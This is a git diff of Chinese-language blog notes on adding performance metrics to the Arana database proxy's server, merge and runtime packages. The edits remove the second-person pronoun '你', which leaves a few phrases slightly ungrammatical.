Summary和Histogram类似，但是它可以计算滑动时间窗口的百分位数。 @@ -684,12 +684,12 @@ func (r *RedirectExecutor) ExecutorComStmtExecute(ctx *proto.Context) (proto.Res } ``` -在这个示例中，QueryDuration、QueryErrors 和 QuerySuccess 是你定义的指标，可以根据你的需要替换它们。WithLabelValues 函数用于为指标添加标签，Observe 函数用于为Histogram或Summary类型的指标添加观察值，Inc 函数用于增加指标的计数。 +在这个示例中，QueryDuration、QueryErrors 和 QuerySuccess 是定义的指标，可以根据的需要替换它们。WithLabelValues 函数用于为指标添加标签，Observe 函数用于为Histogram或Summary类型的指标添加观察值，Inc 函数用于增加指标的计数。 ### pkg/server -pkg/server：这个包可能包含了服务器的主要代码。你可以在这里收集关于服务器状态的指标，如CPU使用率、内存使用率和磁盘使用率。 +pkg/server：这个包可能包含了服务器的主要代码。可以在这里收集关于服务器状态的指标，如CPU使用率、内存使用率和磁盘使用率。 它是 Arana 数据库代理的一部分。这个文件主要处理了服务器的启动和监听。以下是一些主要的函数和它们的功能： ```text NewServer() *Server：创建一个新的服务器实例。 @@ -697,7 +697,7 @@ AddListener(listener proto.Listener)：添加一个监听器到服务器。 Start()：启动服务器并开始监听。 ``` -如果想在服务器运行期间收集关于服务器状态的指标，如CPU使用率、内存使用率和磁盘使用率，可能需要在 Start 函数中添加你的代码，因为这个函数是服务器开始运行的地方。具体的位置取决于想要在何时开始收集指标（例如，是在服务器启动前还是启动后，或者是在出现错误时）。 +如果想在服务器运行期间收集关于服务器状态的指标，如CPU使用率、内存使用率和磁盘使用率，可能需要在 Start 函数中添加的代码，因为这个函数是服务器开始运行的地方。具体的位置取决于想要在何时开始收集指标（例如，是在服务器启动前还是启动后，或者是在出现错误时）。 这是一个在 Start 函数中添加代码的示例： @@ -754,13 +754,13 @@ func startMonitoring() { ``` -在这个示例中，MemoryUsage、CPUUsage 和 DiskUsage 是定义的指标，可以根据你的需要替换它们。Set 函数用于设置指标的值。 +在这个示例中，MemoryUsage、CPUUsage 和 DiskUsage 是定义的指标，可以根据的需要替换它们。Set 函数用于设置指标的值。 ### pkg/merge -pkg/merge：这个包可能包含了合并查询结果的代码。你可以在这里收集关于查询结果合并性能的指标。 +pkg/merge：这个包可能包含了合并查询结果的代码。可以在这里收集关于查询结果合并性能的指标。 在 merge_rows.go 文件中，主要处理了如何合并多个数据源返回的行数据。以下是一些主要的函数和它们的功能： ```text @@ -773,9 +773,9 @@ GetCurrentRow() proto.Row：获取当前行数据。 在这个文件中，可能想要收集以下类型的指标： 合并行的数量：可以在 NewMergeRows 和 NewMergeRowses 函数中添加代码来收集这个指标。 -Next 函数的调用次数：你可以在 Next 函数中添加代码来收集这个指标。 -HasNext 函数的调用次数：你可以在 HasNext 函数中添加代码来收集这个指标。 -GetCurrentRow 函数的调用次数：你可以在 GetCurrentRow 函数中添加代码来收集这个指标。 +Next 函数的调用次数：可以在 Next 函数中添加代码来收集这个指标。 +HasNext 函数的调用次数：可以在 HasNext 函数中添加代码来收集这个指标。 +GetCurrentRow 函数的调用次数：可以在 GetCurrentRow 函数中添加代码来收集这个指标。 以下是一个在 NewMergeRows 函数中添加代码的示例： ```go @@ -786,7 +786,7 @@ func NewMergeRows(rows []proto.Row) *MergeRows { return &MergeRows{rows: rows, currentRowIndex: -1} } ``` -在这个示例中，MergeRowsCount 是定义的指标，可以根据你的需要替换它。Add 函数用于增加指标的值。 +在这个示例中，MergeRowsCount 是定义的指标，可以根据的需要替换它。Add 函数用于增加指标的值。 ### pkg/admin @@ -951,16 +951,16 @@ func UpdateMetrics(serviceInstance *base.ServiceInstance) error { ### pkg/runtime -根据你的需求，可能需要在runtime.go文件中的defaultRuntime结构体或者AtomDB结构体中添加指标更新的函数。 +根据的需求，可能需要在runtime.go文件中的defaultRuntime结构体或者AtomDB结构体中添加指标更新的函数。 如果想要跟踪每次数据库查询的执行时间，可能需要在defaultRuntime中添加一个函数来更新这个指标。 ```go func (r *defaultRuntime) UpdateQueryExecutionTimeMetric(duration time.Duration) { // 这里是更新指标的代码 - // 可能需要使用一些第三方库来帮助你记录和更新这些指标 + // 可能需要使用一些第三方库来帮助记录和更新这些指标 } ``` -然后，在执行数据库查询的地方，可以调用这个函数来更新指标。例如，如果在Execute函数中执行查询，你可以在查询执行完成后调用这个函数： +然后，在执行数据库查询的地方，可以调用这个函数来更新指标。例如，如果在Execute函数中执行查询，可以在查询执行完成后调用这个函数： ```go func (r *defaultRuntime) Execute(ctx context.Context, query string, bindVars map[string]*querypb.BindVariable, isStreaming bool, options *querypb.ExecuteOptions) (*sqltypes.Result, error) { diff --git "a/_posts/\344\272\213\345\212\241.md" "b/_posts/\344\272\213\345\212\241.md" index 7ccec47f2f17..44b6389a9f17 100644 --- "a/_posts/\344\272\213\345\212\241.md" +++ "b/_posts/\344\272\213\345\212\241.md" @@ -1,6 +1,6 @@ -pkg/proxy/：这个目录下包含了代理的实现，你可能需要在这里添加你的事务管理器和资源管理器的代码。 -pkg/backend/：这个目录下包含了后端的实现，你可能需要在这里添加你的二阶段提交和故障恢复的代码。 +pkg/proxy/：这个目录下包含了代理的实现，可能需要在这里添加的事务管理器和资源管理器的代码。 +pkg/backend/：这个目录下包含了后端的实现，可能需要在这里添加的二阶段提交和故障恢复的代码。 admin：用于处理数据库管理相关的操作。 boot：用于启动和初始化服务。 @@ -35,7 +35,7 @@ util：包含一些工具函数。 在config包中，我们可以添加事务相关的配置选项，比如事务的超时时间、最大重试次数等。 -具体的代码实现可能会比较复杂，需要根据实际的业务需求和系统环境进行设计。但是，我希望上述的分析可以帮助你理解在一个分布式系统中如何实现分布式事务。 +具体的代码实现可能会比较复杂，需要根据实际的业务需求和系统环境进行设计。但是，我希望上述的分析可以帮助理解在一个分布式系统中如何实现分布式事务。